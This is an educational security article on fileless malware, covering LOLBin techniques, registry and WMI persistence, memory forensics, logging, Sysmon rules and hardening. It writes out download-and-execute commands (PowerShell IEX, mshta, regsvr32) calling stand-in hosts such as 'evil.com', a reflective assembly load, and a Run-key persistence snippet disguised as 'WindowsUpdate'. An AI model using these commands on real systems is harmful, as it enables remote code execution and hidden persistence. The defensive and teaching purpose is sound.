Fileless Malware - Angriffe ohne Dateisystem-Spuren

Fileless malware refers to malicious software that does not store executable files on the hard drive, but instead exists entirely in RAM or within Windows registry keys, WMI event subscriptions, or scheduled tasks. This technique bypasses signature-based antivirus software (which searches for files) and significantly complicates forensic analysis.

How Fileless Malware Works

With traditional malware, the attack chain proceeds as follows: An email contains an attachment; the executable file is downloaded and saved to the hard drive—and that is exactly where the antivirus detects it based on its signature and blocks it.

Fileless malware breaks this chain at a crucial point: An email leads to a link to an .hta file or a macro document; PowerShell downloads code directly from the internet and executes it exclusively in RAM—no file ends up on the hard drive, so the antivirus finds nothing.

Why this technique is so effective

• AV signature scanners search for files—without a file, they find nothing
• After a reboot, the payload in RAM is gone, but registry entries or WMI subscriptions for persistence remain
• Legitimate processes: PowerShell.exe is signed by Microsoft and bypasses application allowlists
• Sandbox bypass: Brief sandbox analyses show no suspicious behavior

However, fileless does not mean invisible. In RAM, the malware can be detected via memory forensics; ETW (Event Tracing for Windows) logs PowerShell commands; EDR solutions detect behavioral anomalies; and AMSI scans PowerShell script contents before execution.

Techniques and LOLBins

Living Off the Land Binaries (LOLBins) are legitimate Windows system tools that attackers abuse for fileless attacks:

1. PowerShell (most common method)

# Load and execute payload directly from the Internet:
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://c2.evil/payload.ps1')"

# With Base64 encoding (obfuscation):
powershell -EncodedCommand SQBFAFgAIA...  # base64(payload)

# Reflective PE Injection (into another process):
$bytes = (New-Object Net.WebClient).DownloadData('http://c2/beacon.bin')
[System.Reflection.Assembly]::Load($bytes)

2. MSHTA (HTML Application Host)

mshta.exe http://evil.com/payload.hta

The .hta file is located on the Internet, not on the hard drive, and contains VBScript or JavaScript that in turn launches PowerShell.

3. Regsvr32 (Squiblydoo technique)

regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll

A Microsoft-signed binary that loads COM objects directly from the Internet—without writing to the file system.

4. WMI (Windows Management Instrumentation)

WMI event subscriptions can persist and launch payloads during system events—without Task Scheduler and without files:

$filter = Set-WmiInstance -Namespace root\subscription `
  -Class __EventFilter -Arguments @{
    EventNamespace = 'root\cimv2'
    Name = 'UpdateTask'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    QueryLanguage = 'WQL'
  }

5. MSBuild

msbuild.exe payload.xml

A legitimate Microsoft tool that compiles and executes inline C# code from an XML file—it passes through many security checks without raising suspicion.

6. Reflective DLL Injection

The best-known example is Cobalt Strike Beacon: The DLL is not written to disk but injected directly into the RAM of a target process (e.g., notepad.exe). The Beacon provides full C2 communication and exists exclusively in memory.

7. Process Hollowing

A legitimate process (e.g., svchost.exe) is launched, its contents are erased from RAM, and replaced with malware code. To the outside world, the process appears completely legitimate.

Persistence Without Files

Registry Persistence

$payload = "powershell -ep bypass -e [BASE64_PAYLOAD]"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "WindowsUpdate" -Value $payload
# Runs on every login → no .exe on disk

WMI Subscription (strongest persistence)

WMI subscriptions consist of an event filter, consumer, and binding. They launch the payload during system events such as reboots, logins, or at specific times, and survive antivirus scans, reboots, and sometimes even reinstallations.

Detection:

Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer

PowerShell Profiles

The $PROFILE script runs every time PowerShell starts. Attackers can embed download-and-execute commands within it. Although the profile.ps1 file exists on the file system, it does not contain any obvious binary.

Detection:

Test-Path $PROFILE  # $true? Then check the contents!
cat $PROFILE | grep -i "Invoke-Expression\|IEX\|WebClient"

Detection and Forensics

1. Memory Forensics (Volatility)

# Create RAM dump:
# (Windows) WinPmem: winpmem_mini_x64_rc2.exe --output mem.raw

# Suspicious processes:
volatility3 -f mem.raw windows.pslist | grep -E "powershell|mshta|wscript"

# Find injected DLLs:
volatility3 -f mem.raw windows.malfind | head -50

# Network connections:
volatility3 -f mem.raw windows.netscan

# PowerShell history from RAM:
volatility3 -f mem.raw windows.cmdline --pid [PS_PID]

2. ETW / PowerShell ScriptBlock Logging

PowerShell 5+ logs all scripts when ScriptBlock Logging is enabled (GPO: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on ScriptBlock Logging: Enabled).

# Event ID 4104 in the PowerShell/Operational Log:
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
  Where Id -eq 4104 |
  Select -First 20 |
  Format-List TimeCreated, Message

# Suspicious patterns: "IEX", "Invoke-Expression", "DownloadString", "Reflection.Assembly"

3. EDR Behavioral Analysis

EDR systems detect characteristic patterns: powershell.exe as a child process of winword.exe, outbound network connections from PowerShell, code injection into svchost.exe, and AMSI events for scanned script content (PowerShell 5+).

4. WMI Subscription Audit

# Check all WMI subscriptions:
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer |
  Select Name, CommandLineTemplate

Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

5. Sysmon Configuration

Sysmon Event ID 1 (Process Create with CommandLine), Event ID 7 (Image Loaded), and Event ID 10 (Process Access, Injection) provide valuable detection data:

<EventFiltering>
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains">-EncodedCommand</CommandLine>
    
    <CommandLine condition="contains">DownloadString</CommandLine>
    
    <CommandLine condition="contains">mshta.exe http</CommandLine>
  </ProcessCreate>
</EventFiltering>

Protective Measures

PowerShell Hardening

# Constrained Language Mode (CLM) - prevents most attacks:
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

# Disable PowerShell 2.0 (enables AMSI bypass!):
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

# ExecutionPolicy (not complete protection, but a hurdle):
Set-ExecutionPolicy AllSigned -Scope LocalMachine
# Only signed scripts run

AMSI (Antimalware Scan Interface)

Windows 10+ scans all PowerShell scripts, VBA macros, JavaScript, and .NET code via AMSI before execution. EDR solutions integrate with AMSI events for additional detection.

Application Control (AppLocker/WDAC)

Windows Defender Application Control (WDAC) allows only signed Microsoft binaries. A critical aspect is blocking LOLBins, which are rarely needed for legitimate purposes:

# AppLocker - specific paths/signatures:
New-AppLockerPolicy -RuleType Publisher, Path -User Everyone

LOLBin Blocking

• mshta.exe: Block except for specific use cases
• regsvr32.exe: Block script parameters
• msbuild.exe: Block except for developer workstations
• wscript.exe / cscript.exe: Disable for end users
• PowerShell: Script Block Logging + AMSI + Constrained Language Mode